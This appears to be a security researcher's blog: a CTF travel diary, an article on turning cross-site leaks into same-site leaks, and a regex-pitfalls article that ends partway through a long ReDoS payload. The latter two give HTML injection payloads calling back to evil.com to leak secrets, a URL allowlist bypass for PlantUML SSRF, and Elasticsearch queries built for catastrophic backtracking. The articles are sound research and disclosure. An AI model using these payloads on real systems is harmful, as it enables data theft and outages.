# Zeyu's Infosec Blog

👋 This is where I write about information security!

## \~# whoami

I love to build and break things. Cybersecurity is one of the many fields I'm passionate about.

You can learn more about me from my [personal website](https://www.zeyu2001.com/).

## \~# ls -la 2023

### [DEF CON 31 CTF && Midnight Sun CTF Finals 2023](/2023/def-con-31-ctf-and-and-midnight-sun-ctf-finals-2023)

My first hacker summer camp experience 🏖️

### [From XS-Leaks to SS-Leaks Using object](/2023/from-xs-leaks-to-ss-leaks)

Turning cross-site leaks (XS-Leaks) into "same-site leaks" using the object element to get around SameSite cookies. Nested objects, lazy loading and responsive images help us to conditionally perform callbacks based on HTTP response status codes.

### [Regular Expressions Are Hard](/2023/regular-expressions-are-hard)

From insufficient security fixes to ReDoS, regular expressions are hard to get right. Yet, they are integral to modern software security and development. Hopefully this article helps you avoid common pitfalls before it's too late!

### [ReadiumJS Cloud Reader — Everybody Gets an XSS!](/2023/readiumjs-cloud-reader-everybody-gets-an-xss)

While participating in a bug bounty programme, I stumbled upon a (surprisingly, somewhat known) XSS vulnerability in the Readium cloud reader that affects many university websites and online libraries.

## \~# ls -la 2022

### [HTTP Request Smuggling in the Multiverse of Parsing Flaws](/2022/http-request-smuggling-in-the-multiverse-of-parsing-flaws)

HTTP request smuggling is a vulnerability which arises when web servers and proxies interpret the length of a single HTTP request differently. While basic techniques have been known since 2005, renewed research interest in HTTP request smuggling in recent years have uncovered many new bugs in popular web proxies and servers.&#x20;

Nowadays, novel HTTP request smuggling techniques rely on subtle deviations from the HTTP standard. Here, I discuss some of my recent findings and novel techniques.

### [Hosting a CTF — SEETF 2022 Organizational and Infrastructure Review](/2022/hosting-a-ctf-seetf-2022-organizational-and-infrastructure-review)

My experience in hosting SEETF 2022, and lessons learnt.

SEETF is a cybersecurity Capture the Flag competition hosted by the Social Engineering Experts CTF team. We were pleased to host our inaugural competition in 2022, which saw over 2,000 participants and 1,200 teams. Of these teams, 740 solved at least one challenge.


# DEF CON 31 CTF && Midnight Sun CTF Finals 2023

My first hacker summer camp experience 🏖️

<figure><img src="/files/GGGpNFpeEQuNWAi0q5Uf" alt="" width="563"><figcaption><p>Photoshop and weeb credits to Perfect Blue</p></figcaption></figure>

This past month, I travelled to 3 countries: USA, Germany, and Sweden. I participated in the **DEF CON 31 CTF finals** with my team, **Blue Water** (a collaboration between Perfect Blue, Water Paddler, Samsung Research, Tea Deliverers, and Georgia Tech SSLab), and **Midnight Sun CTF** with a Singaporean team, **ThreeTop Walk**. This post serves as proof that I touched grass along the way.

## Los Angeles

Flights from Singapore directly to Vegas were expensive. However, an open secret is that booking two separate flights for SIN-LAX and LAX-LAS (instead of a single booking with a layover) is a much cheaper option. This was the obvious choice for me, allowing me to visit a different state while not feeling bad about taking too much money from the team funds.

I decided to arrive in the US slightly earlier to get rid of jetlag by the time the CTF comes around, so I stayed in LA for 3 days before going to Vegas. When I was booking my flights, the cheapest option was [STARLUX](https://www.starlux-airlines.com/en-Global), a new-ish Taiwanese airline. Interestingly enough, the economy class seats ran out, but the premium economy tickets were still *cheaper* than the economy options of other available flights.

### STARLUX Airlines

Before I knew it, I was on my way to LAX! This journey consisted of a relatively short flight to Taipei, Taiwan, followed by a long flight to the US.

I was no stranger to long-haul flights, but this was honestly *the* best experience I ever had with any airline. I was able to choose my seat (for free!) and I got an aisle seat at the very front of the plane for both flights. The seats were super comfortable and there was a lot of legroom. Being literally the first person in economy class to get off both flights was also super cool.

<div><figure><img src="/files/CF3KuxNQsrYH8zXLyfpT" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="/files/cv89sSudh7Uco0YSq9eO" alt="" width="375"><figcaption></figcaption></figure></div>

The entertainment screens were also very high-resolution, and the service was great!

<div><figure><img src="/files/bej7hD1DwmRo5F2WaQzu" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="/files/dSziZfxRPysbEPn2IEsz" alt="" width="375"><figcaption></figcaption></figure></div>

Looking back, this did not feel like premium economy at all. I know which flight I'm taking next time!

### Taiwan Layover

I had a 4-hour layover at Taoyuan International Airport in Taiwan. I had some chicken rice and played a random CTF to pass the time.

<figure><img src="/files/dFD9OM89Hj7DXJll10Sx" alt="" width="375"><figcaption></figcaption></figure>

### LA at Last

I was staying at an Airbnb in Anaheim. It was super cozy and instagrammable, but far from Hollywood and other tourist attractions in LA - it was $50 to get an Uber to Hollywood Boulevard. Looking back, lower Uber costs might have made up for the cost of a more expensive Airbnb closer to where things are.

<div><figure><img src="/files/9ojbBQiBPcHU8l5dlHeM" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="/files/m5jzhuFnjRAxyplJwX4b" alt="" width="375"><figcaption></figcaption></figure></div>

### Hollywood Boulevard

On my first day, I met up with some Water Paddler teammates and watched Oppenheimer at [TCL Chinese Theatres](https://www.tclchinesetheatres.com/)! It was my first time watching IMAX in a very long time, and the movie definitely didn't disappoint.

<div><figure><img src="/files/29BHMHq7n9Zyh8SUcdBA" alt=""><figcaption></figcaption></figure> <figure><img src="/files/j27nYMnBGVzax0AmuBdW" alt=""><figcaption></figcaption></figure></div>

After the movie, we walked around the boulevard and had lunch. Then we almost walked into a Church of Scientology building for a free personality test, but some people chickened out.

<div><figure><img src="/files/2EZEPeqUJzSJWyCH7y9M" alt=""><figcaption></figcaption></figure> <figure><img src="/files/RQypCRxDIqzZMqEKIxFl" alt=""><figcaption></figcaption></figure></div>

We then went to visit [University of Southern California (USC)](https://www.usc.edu/), where some of my teammates were studying. USC was one of the schools that I was unfortunately rejected from, so it was interesting to visit what "could have been". The school also has a "CTF" building which was pretty funny.

<div><figure><img src="/files/tOP6M96qVo8hZmmYE9Fp" alt=""><figcaption></figcaption></figure> <figure><img src="/files/9IFKoaO4B3vihU17pbfk" alt=""><figcaption></figcaption></figure></div>

### Universal Studios Hollywood

The next day, we visited [Universal Studios](https://www.universalstudioshollywood.com/web/en/us/). My favourite part of the theme park was the Studio Tour, where you get to visit actual sets used to shoot movies and TV shows. The Harry Potter and Super Mario areas were also super fun as usual. My only complaint was that the weather was way too hot! Thankfully, there were many indoor rides to escape the heat.

<div><figure><img src="/files/N9YXWmRwInzfhUCebcmF" alt=""><figcaption></figcaption></figure> <figure><img src="/files/rnWQRzJbHAU2qGEgyMSL" alt=""><figcaption></figcaption></figure></div>

In the evening, we checked out Venice Beach and [Santa Monica Pier](https://www.santamonicapier.org/). There was a skate park at Venice Beach where people were doing cool tricks, which I honestly wouldn't mind watching for hours!

<div><figure><img src="/files/oAO7W1eEflGNw5jsLS6t" alt=""><figcaption></figcaption></figure> <figure><img src="/files/a9z5tBJ2MESTQMozwt3b" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/wPoVgINsbzPwMICVg4rs" alt="" width="375"><figcaption></figcaption></figure>

## Las Vegas

You know you're in Vegas when there are slot machines *at the airport.*

<figure><img src="/files/V5qp2sW7JxVT8pEm16gS" alt="" width="375"><figcaption></figcaption></figure>

### Horseshoe

I arrived 2 days before the start of DEF CON, so that I could explore Vegas a little. For these two days, I stayed at [Horseshoe](https://www.caesars.com/horseshoe-las-vegas/hotel), before moving over to [Harrah's](https://www.caesars.com/harrahs-las-vegas/hotel) with my team. My hotel window had a perfect view of the newly-built Las Vegas Sphere!

<div><figure><img src="/files/G5n7smUNCwE2hObejLY7" alt=""><figcaption></figcaption></figure> <figure><img src="/files/ovNGvrjhsvttt9DjtI09" alt=""><figcaption></figcaption></figure></div>

### Escape Room

On my first day here I met up with a couple of Water Paddler teammates again, and we went to an escape room. We had to fill out a waiver form on these kiosks, which we managed to escape using keyboard shortcuts. For some reason, the first keyboard shortcut that came to my mind was Windows-L which locks the screen, so my friend ended up doing just that...

<figure><img src="/files/pNopdaj0IJ1ferCb9b4B" alt="" width="375"><figcaption></figcaption></figure>

We also went on a roller coaster at the same hotel. Unfortunately I don't have any photos of that, as we had to store our phones in a locker. It was definitely way better than what I expected when I initially heard "hotel roller coaster" - 360 degree loops, insane drops and a great view of the strip!

### Cloudflare Party

That night we went for a party hosted by Cloudflare. Technically we needed a Black Hat pass in order to get into the party, but so many people tried to get in without one (with various excuses) that they ended up letting us in anyway.

<div><figure><img src="/files/izrrCd549YscclVCAyNe" alt=""><figcaption></figcaption></figure> <figure><img src="/files/FNbLLOVsEVPLayn8Q9XR" alt=""><figcaption></figcaption></figure></div>

### DEF CON

Thankfully, I bought the pre-registration ticket online before they ran out, so I had a relatively shorter queue to collect my DEF CON badge. The badge this year was not electronic, which was slightly disappointing. While standing in LINECON, I got some googly eyes from a stranger.

<div><figure><img src="/files/ymQWNvVThnrKqwBjf60b" alt=""><figcaption></figcaption></figure> <figure><img src="/files/GGd7T3SDYjVahZ1G2C2F" alt=""><figcaption></figcaption></figure> <figure><img src="/files/sMe82y9YNGUNADTZXif5" alt=""><figcaption></figcaption></figure></div>

We also made sure the Water Paddler sticker had its place on the sticker wall!

<figure><img src="/files/HvzN0IwwJyXvI2bDOMrr" alt="" width="375"><figcaption></figcaption></figure>

### DEF CON CTF

Things come and go but I will never be 21 and whining about CTF infrastructure from a luxury suite with my teammates again. This year we played the DEF CON CTF from a suite in the [The Palazzo at The Venetian Resort](https://www.venetianlasvegas.com/towers/the-palazzo.html). It was definitely an insane experience seeing a suite like this for the first time - you could easily get lost in here trying to find the washroom.

<div><figure><img src="/files/jZXEgr9jvuADVIcU9anU" alt=""><figcaption></figcaption></figure> <figure><img src="/files/5RkxE9L1CVKR5c8ENVmv" alt=""><figcaption></figcaption></figure></div>

There was also a Steinway & Sons piano that played itself!

<figure><img src="/files/XmgxDXUC8rQ0QqG3ky7D" alt="" width="563"><figcaption></figcaption></figure>

Overall, I found the CTF to be a fun experience. There were (surprisingly) two web challenges in the finals, although both involved some reverse engineering. This year, services did not retire, meaning that we had to work through the night on both day 1 and 2. Challenges were also being released at the end of each day, so it was a race against the clock to see which teams did the most "homework" when the next tick came around the following morning.

The infrastructure was also allegedly better than last year, and survived the full 3 days of CTF. Unfortunately, there was a hiccup on day 2, where some teams (including us) could not run any attacks due to a container limit misconfiguration.

I realised just how different team sizes were across the finalists - we were around 20-30 people strong, which was probably lower than average. We really started to feel it as the CTF progressed and services didn't retire. By the end of the CTF, some challenges only had 2 to 3 people working on them.

Overall, I think 2nd place was a really great result for us, considering the strong competition we were up against.

### Afterparty

CTF players really throw the best parties. I had a lot of fun talking to CTF players and people in the industry, matching Twitter and Discord handles to real life faces. It's a pity that I had a flight the next day, or I definitely would have stayed for longer.

<div><figure><img src="/files/azmzK3ztCRYeBZe36QnO" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="/files/96yFYlSfFevOiisNC1PU" alt="" width="375"><figcaption></figcaption></figure></div>

## Munich

The next stop was Midnight Sun CTF with ThreeTop Walk, but we had a few days before we had to arrive at Stockholm. We've transited at Munich many times before when travelling to European countries from Singapore, but never had a long enough layover to visit the city. We decided that this was the perfect opportunity to explore the city for a few days.

### Marienplatz

Marienplatz is the "main" city square of Munich. For a small fee, you could go up the tower and get a great view of the city.

<div><figure><img src="/files/N7QhRqvT4IHJAHhe88vj" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="/files/29GASbZybLiZGAy6dZS3" alt="" width="375"><figcaption></figcaption></figure></div>

### Nymphenburg Palace

This was a really beautiful palace, with museums and a rich history. The weather was very hot so we didn't spend too much time outside, but the gardens were also very beautiful!

<figure><img src="/files/OpeiFdiVtfxljZeQvWYC" alt="" width="563"><figcaption></figcaption></figure>

## Stockholm

After two weeks of scorching heat in LA, Vegas, and Munich, Stockholm's cool weather was a nice escape. On the day before the CTF, the organisers treated us to a free dinner and drinks. Everything was paid for from 6.00pm to 7.00pm - as CTF players, of course we exploited this and ordered a bunch of extra drinks at 6.59pm.

### Midnight Sun CTF

The CTF venue for Midnight Sun CTF is one of the best of any onsite CTF I've participated in. There is a central lunch venue with team banners hung up on the wall, and each team had a private room to work in.

The central conference hall was also the venue for the live 1v1 pwn competition, which was similar to DEF CON's LiveCTF.

<div><figure><img src="/files/aQTlAJJvPxdZ3tn523Zf" alt=""><figcaption></figcaption></figure> <figure><img src="/files/nm58ESUk1X7NLTULztZm" alt=""><figcaption></figcaption></figure></div>

The CTF was pretty cool overall. There were also "speed" challenges - the first three teams to solve these challenges got bonus points. The speed challenges this year comprised of all four categories - web, pwn, reversing, and crypto.

### Afterparty

As usual, the afterparty was great! After the afterparty, we also went to a restaurant & bar where I finally had some Swedish meatballs, and an arcade where I had lots of fun with the racing games.

<div><figure><img src="/files/HgJm31VyjTggviuVKik0" alt=""><figcaption></figcaption></figure> <figure><img src="/files/vQb0mWj9sFU2OFwnKQxt" alt=""><figcaption></figcaption></figure></div>

## Back to Real Life

Finally, after a 2-week CTF world tour, it was time to go home. We managed to find a really cheap flight back to Singapore with Qatar Airways. I had a layover at Doha airport, which interestingly looked a lot like Jewel at Changi Airport.

<figure><img src="/files/u2KkMTYghy9JuxJ3kzZv" alt="" width="563"><figcaption></figcaption></figure>

This was honestly the most fun I've had in all my CTF trips so far, with Romania earlier this year not too far behind. For a few days after I was back, it was really weird returning to real life, and I've only just fully tuned my body clock back to the Singapore timezone.

To be honest, I'm not sure if I will return for the CTF next year. Something I really regret was not being able to attend any of the DEF CON talks and activities because I was too busy with the CTF. Maybe next year I will come earlier to attend Black Hat, or just skip the CTF altogether to attend the actual DEF CON conference. At the same time, playing the CTF with my teammates was also super fun, and hopefully we have a chance at 1st place next year.

In any case, it was super cool to finally meet my teammates in person and I'm looking forward to Hacker Summer Camp 2024, regardless of whether I'm playing the CTF.


# From XS-Leaks to SS-Leaks Using object

Using nested objects, lazy loading and responsive images to leak data

<figure><img src="/files/Kvtg6u8ag2VxdrdneFMG" alt=""><figcaption></figcaption></figure>

Nowadays, [cross-site leaks (XS-Leaks)](https://xsleaks.dev/) are often limited by *SameSite* settings. This is because XS-Leaks rely on a malicious page being able to send a victim's cookies to a cross-site target in order to infer the victim's state.

<figure><img src="/files/m22vucZy7B15bg8VUrSn" alt=""><figcaption></figcaption></figure>

Many XS-Leak techniques rely on being able to fetch a resource through *non*-top-level navigations, such as an `iframe` element, `script` element, or `fetch()` request. However, *SameSite: Lax* cookies will only be sent on top-level navigations, i.e. navigations that change the URL in the browser's address bar.

This means that for most techniques, *SameSite: Lax* cookies are an effective defence. Of course, this does not include the man*y* classes of XS-Leaks that still work with top-level navigations such as `window.open` popups. But for practical purposes, this stops a lot of XS-Search attacks.

For instance, consider a scenario where an API returns a 200 status code response if results match a given search query, and a 404 status code otherwise. This is behaviour that one might expect from a search API — for example, on a social media site, being able to leak status codes could mean the ability to leak private posts, friends, and contacts. If the cookies were *SameSite: None*, stealing data would be trivial:

1. Create a `script` element, and set its `src` to the cross-origin target URL. <mark style="color:yellow;">`https://target.com/api/search?query=secret`</mark>.
2. Define an `onload` handler and an `onerror` handler for the script.
3. Finally, insert the `script` element into the DOM.
4. If the target URL returns a 200 status code, the `onload` handler is executed. Otherwise, the `onerror` handler is executed.
5. Repeat steps 1 to 4, brute-forcing the search query character by character until the secret is extracted.

However, if *SameSite: Lax* cookies were used, this attack would not be possible. This is quite a big problem, since Chromium has been enforcing lax-by-default since 2020. More recently, Firefox also rolled out [Total Cookie Protection](https://blog.mozilla.org/en/mozilla/firefox-rolls-out-total-cookie-protection-by-default-to-all-users-worldwide/), which blocks cross-site cookies through subresources by default.

These defences pose the question: is there a way to turn "cross-site" leaks into "same-site" leaks?

## SS-Leaks?

Suppose we have some HTML injection on a target application. Because of restrictive CSP or sanitization, XSS is not possible. Can we still leak information about the victim? There are techniques such as dangling markup injection for leaking content from the same URL, but what if we want to leak data from another URL, such as an API endpoint? Furthermore, modern client-side sanitisers ensure that the resulting HTML is well-formed — how do we leak data then?

Consider the above scenario where we want to leak 200 vs 404 status codes. Now we have *SameSite: Lax* cookies, but an HTML injection on a same-site page. Our goal is to leak whether this API endpoint returns a 200 or 404 status code.

```javascript
app.get('/api/v1/leaky', (req, res) => {
  if (SECRET.startsWith(req.query.secret)) {
    res.status(200).send('Yes');
  } else {
    res.status(404).send('No');
  }
});
```

## Object Leaks

The `<object>` element differs from iframes in a major way. If the status code of the requested resource is 404, the object is not at all rendered in the DOM. While the `object` element exists in the DOM tree, none of the page contents are actually rendered in the DOM.

<figure><img src="/files/S95zHDeWQCeBbDBSVQhF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/j4gCSkmllnoSwIBJCUBM" alt=""><figcaption><p>object pointing to a 404 page</p></figcaption></figure>

This is in stark contrast to iframes, which render content in the DOM regardless of status codes.

<figure><img src="/files/Iqs1QtA8hpnZio0GyicM" alt="" width="325"><figcaption><p>iframe of a 404 page</p></figcaption></figure>

What we ideally want to do is conditionally load a resource based on the leaky endpoint's status code. If we can do this, the conditionally-loaded resource can then serve as a callback, leaking the data *cross-site*. This brings us to nested `<object>`s!

## Nested Objects

In the following object, the nested callback object is only loaded as a fallback.

If the <mark style="color:yellow;">`/api/v1/leaky?secret=a`</mark> endpoint returns a 404 status code, then the inner `object` is loaded, giving a callback to <mark style="color:yellow;">`https://evil.com?callback=a`</mark> and letting us know that the search query `a` yielded no results.

```html
<object data="/api/v1/leaky?secret=a">
    <object data="https://evil.com?callback=a"></object>
</object>
```

## Lazy Loading

What if CSP blocks external objects? Let's try again with the following CSP:

<mark style="color:yellow;">`Content-Security-Policy: default-src 'self'; img-src *;`</mark>

Our callback `object` from above no longer works. In its place, we can use image [lazy loading](https://developer.mozilla.org/en-US/docs/Web/Performance/Lazy_loading)! The following image will only load when it is visible and within a certain distance from the viewport.

```html
<object data="/api/v1/leaky?secret=a">
    <img src="https://evil.com?callback" loading="lazy">
</object>
```

When the leaky endpoint returns a 200 status code, the response is rendered in the DOM. As a result, the nested `img` is not visible. Since the image has lazy loading enabled, it will not be fetched and we do not receive a callback.

<figure><img src="/files/IQZpVgFyAXe4kW4jIGYp" alt="" width="375"><figcaption><p>200 status code response</p></figcaption></figure>

On the other hand, if the leaky endpoint returns a 404, the `img` is rendered as a fallback. This causes a request to be made to our callback!

<figure><img src="/files/GnBkl2ftdfhTy3IexAAd" alt="" width="375"><figcaption><p>404 status code response</p></figcaption></figure>

## Responsive Images

The above technique is great, but it relies on our HTML injection being within the user's viewport.

If the injection is off-screen and the user doesn't scroll, can we still leak data? Of course, we can use element IDs and [scroll-to-text-fragment](https://chromestatus.com/feature/4733392803332096) to create a URL that forces a scroll, but these rely on user interaction and don't allow us to achieve consistent leaks in a real-world scenario. Ideally, we want to weaponise stored HTML injection in a reliable manner.

Enter responsive images! Specifically, the `srcset` and `sizes` attributes of images.

{% code overflow="wrap" %}

```html
<object data="/api/v1/leaky?secret=a">
    <iframe srcdoc="<img srcset='https://evil.com?callback=1 480w, https://evil.com?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
</object>
```

{% endcode %}

There's quite a few things to unpack here. First, remember that the inner iframe will only be visible if the leaky endpoint returns a 404 status code.

This is important because we are now going to conditionally load the image within the iframe from two different URLs. Using the `sizes` attribute, we can use [media queries](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_media_queries/Using_media_queries) to choose which URL to load the image from, depending on the viewport size.

{% code overflow="wrap" %}

```html
<img 
    srcset='https://evil.com?callback=0 800w, https://evil.com?callback=1 480w' 
    sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
>
```

{% endcode %}

Because our iframe has `width="1000px"`, the following happens:

1. If the leaky endpoint returns a 404 status code, the iframe is displayed and has a width of 1000px. The image within the iframe matches the `(min-width: 1000px)` media query and loads the 800px image from `https://evil.com?callback=0`.
2. If the leaky endpoint returns a 200 status code, the iframe is *not* displayed. Since the image is not being rendered as part of a large iframe, it matches the `(max-width 999px)` media query and loads the 480px image from `https://evil.com?callback=1`.

We now have a way of reliably performing the leak, even with a rather restrictive CSP.


# Regular Expressions Are Hard

How to avoid common pitfalls.

From insufficient security fixes to ReDoS, regular expressions are hard to get right. Yet, they are integral to modern software security and development. Hopefully this article helps you avoid common pitfalls before it's too late!

* [A Tale of Flawed Regex (CVE-2023-3432)](#a-tale-of-flawed-regex-cve-2023-3432)
* [When ReDoS Should Not Be Out of Scope: Bringing Down Your Elasticsearch Cluster](#when-redos-should-not-be-out-of-scope-bringing-down-your-elasticsearch-cluster)
* [ReDoS in Single-Threaded Applications](#redos-in-single-threaded-applications)

## A Tale of Flawed Regex (CVE-2023-3432)

Let's begin with a story of how an innocent regex change led to a security vulnerability.

A few months ago, I was looking into a particular rich text editor when I noticed that it supported an interesting integration — [PlantUML](https://github.com/plantuml/plantuml). This was an interesting project that allows users to write UML as code, and have a web server turn that code into a graphical UML diagram.

What immediately caught my eye was how utterly complex the project was, given its seemingly simple use case. The more complex any software is, the more difficult it is to ensure security. Going over to the [*Preprocessing*](https://plantuml.com/preprocessing) page of the PlantUML documentation would show a treasure trove of builtin functions with interesting security implications.

<figure><img src="/files/itkH0e0vAMVKAOQZyOon" alt=""><figcaption></figcaption></figure>

While most of the sensitive functions like `%getenv` were blocked in the default security profile of the web server, `%load_json` was not. This allowed us to read any local JSON file and confirm whether any file exists on the filesystem. This turned out to be an oversight (and is assigned [CVE-2023-3431](https://huntr.dev/bounties/fa741f95-b53c-4ed7-b157-e32c5145164c/)), since the `!include` and `!theme` directives (which also enable local file reading) were subject to the security profile checks.

Additionally, this function allows fetching from a URL, so SSRF was also present.

Great, so only PlantUML instances running on the default security profile were vulnerable, right? I wanted to see if I could break one of the higher-security modes, so I looked into the `ALLOWLIST` mode. With this profile, only allowlisted URLs can be reached, limiting the impact of SSRF.

### This is Why We Can't Have Nice Things

Taking a closer look at where this check is performed ([source](https://github.com/plantuml/plantuml/blob/v1.2023.8/src/net/sourceforge/plantuml/security/SURL.java#L306-L313)), we see that each URL is first cleaned through `cleanPath`, then checked against the allowlist with `startsWith`.

```java
private boolean isInUrlAllowList() {
  final String full = cleanPath(internal.toString());
  for (String allow : getUrlAllowList())
    if (full.startsWith(cleanPath(allow)))
      return true;

  return false;
}
```

Normally, using `startsWith` allows a trivial bypass using the user information part of a URL, which contains [basic authentication](https://en.wikipedia.org/wiki/Basic_access_authentication) credentials.

<figure><img src="/files/bTnnGMvFOrCs6zVLSUgi" alt=""><figcaption></figcaption></figure>

However, PlantUML attempts to remove the user information portion of the URL before performing the `startsWith` check.

```java
private static String removeUserInfoFromUrlPath(String url) {
  // Simple solution:
  final Matcher matcher = PATTERN_USERINFO.matcher(url);
  if (matcher.find())
    return matcher.replaceFirst("$1$3");

  return url;
}
```

This should have been a good thing, but the regular expression used ruined everything. Consider the following regex that captures the user information in the 2nd group and the actual host in the 3rd group.

{% code overflow="wrap" %}

```java
private static final Pattern PATTERN_USERINFO = Pattern.compile("(^https?://)([-_0-9a-zA-Z]+@)([^@]*)");
```

{% endcode %}

It assumes that the user information part always contains the characters `[-_0-9a-zA-Z]+`. So if we use `https://plantuml.com@evil.com`, there is no match! In fact, the regex fails to perform its intended function since the format for user information in URLs is `<username>:<password>@<host>` and the regex does not contain `:`.

So, back to basics — a simple `https://allowlisted.url.com@evil.com` bypass would allow us to reach any arbitrary URL.

But how did this vulnerability come about? In attempting to [fix](https://github.com/plantuml/plantuml/commit/dbaaa0165ee199ec3f8cdc8c44c86f63bba1d080) a [previous issue](https://huntr.dev/bounties/0d737527-86e1-41d1-9d37-b2de36bc063a/), the `PATTERN_USERINFO` was changed, introducing the limited set of characters that would match the user information part of the URL.

<figure><img src="/files/gOomBoqhoO3EXWYkhJxc" alt=""><figcaption></figcaption></figure>

### What Can We Learn From This?

Regular expressions are hard to get right. But more importantly, don't reinvent the wheel! Java already comes with a [URL class](https://docs.oracle.com/javase/8/docs/api/java/net/URL.html) that has been tried and tested to perform standards-compliant URL parsing.

Using the `getHost` method, one can get the hostname of the URL, ignoring other parts of the URL like user information. This hostname can then be matched against the whitelist — simple!

Don't make your life harder. Regex-based whitelists and blacklists are hard to get right.

## When ReDoS Should Not Be Out of Scope: Bringing Down Your Elasticsearch Cluster

Bug bounty programs often classify Denial of Service (DoS) issues as out of scope. This is even more likely for ReDoS issues, a specific subclass of DoS that exploits the fact that most regex implementations may reach extreme situations that cause them to work very slowly.

This is due to a regex engine feature called backtracking, an algorithmic technique that brute forces every combination in order to solve a problem. When a "dead end" is encountered, the algorithm simply traces its steps back to previous nodes and explores other unvisited nodes.

<figure><img src="/files/VJqD0j1u7AGvmnweJcC9" alt=""><figcaption></figcaption></figure>

In the context of regular expressions, these dead ends are simply non-matches. Take the regex  `^(a+)+$`. A non-match would be `aaaaX`. Because of the nested quantifiers, backtracking becomes exponential with more `a`s. This is called catastrophic backtracking.

In a bug bounty programme a while back, I found an exposed Elasticsearch API that allowed me to run any query on the Elasticsearch instance. The Elasticsearch data wasn't particularly sensitive, so I had to find another way to escalate the impact.

I found [this post](https://discuss.elastic.co/t/rest-calls-from-frontend/269788) on the Elasticsearch forum which I thought was pretty interesting.

<figure><img src="/files/7Y2oFo24ka1X3PoftBBt" alt=""><figcaption></figcaption></figure>

A developer mentioned that *"it is possible for a sufficiently determined malicious user to write searches that overwhelm the Elasticsearch cluster and bring it down"*. Huh.

### Scripting Module to ReDoS

I couldn't find any online resources on how to do this, so I had to try to figure it out myself. Eventually, when exploring the Elasticsearch documentation, I found the [scripting module](https://www.elastic.co/guide/en/elasticsearch/reference/current/modules-scripting.html). The scripts were well-sandboxed, and I couldn't find a way to escalate this into an RCE.

Thankfully, though, [Painless scripts](https://www.elastic.co/guide/en/elasticsearch/reference/current/modules-scripting-painless.html) allow us to run regular expressions. The following would run a script that simply checks if `aaaaaaa` fulfills the regex `/a{0,7}{0,10}$/`. As the server URL encodes many characters, I was only able to work with the `{...}` quantifiers to increase time complexity.

```json
{
   "aggs":{
      "ContentType":{
         "terms":{
            "field":"ContentType",
            "size":25
         }
      }
   },
   "query":{
      "bool":{
         "must":[
            {
               "script":{
                  "script":{
                     "source":"params.x =~ /a{0,7}{0,10}$/",
                     "params":{
                        "x":"aaaaaaa"
                     }
                  }
               }
            }
         ]
      }
   },
   "highlight":{
      "fields":{
         "*":{
            
         }
      },
      "fragment_size":"350"
   }
}
```

In this script, only 23 steps is needed in the regex algorithm to find the match.

<figure><img src="/files/RVQNvbDCoaUJXVWrST6I" alt=""><figcaption></figcaption></figure>

But when the last character in the test string is changed to an `x`, the string `aaaaaax` will cause the algorithm to take 74,380 steps instead.

<figure><img src="/files/V9krCyS2FRo5dUF4RAd8" alt=""><figcaption></figcaption></figure>

Now, what if we used `/((a{0,7}){0,7}){0,10}$/`? Regex101 detects catastrophic backtracking and gives up.<br>

<figure><img src="/files/bV35nY8VOCuq6qURg55D" alt=""><figcaption></figcaption></figure>

In this particular program, the difference in computational complexity becomes very noticeable once we look at the `took` attribute of the response JSON.

I ended up reporting the following query, which caused the server to take more than a minute to respond. This was around a **3,000x amplification** from the original query time of 20ms.

```json
"source":"params.x =~ /a{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,7}{0,